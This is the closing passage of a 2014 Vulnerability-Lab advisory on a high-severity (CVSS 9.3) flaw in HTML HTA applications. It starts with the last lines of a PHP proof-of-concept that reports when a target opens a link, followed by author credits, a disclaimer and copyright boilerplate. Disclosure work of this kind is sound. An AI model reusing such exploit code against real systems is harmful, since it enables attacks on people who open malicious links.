        print &quot;&#92;n Target Checked Your Link &#92;n&quot;;
    }
    else usleep&#40;100000&#41;;
}


?&gt;

Security Risk:

The security risk of the security vulnerability in the html hta application is estimated as high. (CVSS 9.3)

Credits & Authors:

Author: Mohammad Reza Espargham Linkedin: https://ir.linkedin.com/in/rezasp E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com Website: www.reza.es Twitter: https://twitter.com/rezesp FaceBook: https://www.facebook.com/mohammadreza.espargham

Disclaimer & Information:

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

            Copyright © 2014 | Vulnerability Laboratory [Evolution Security]

-- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt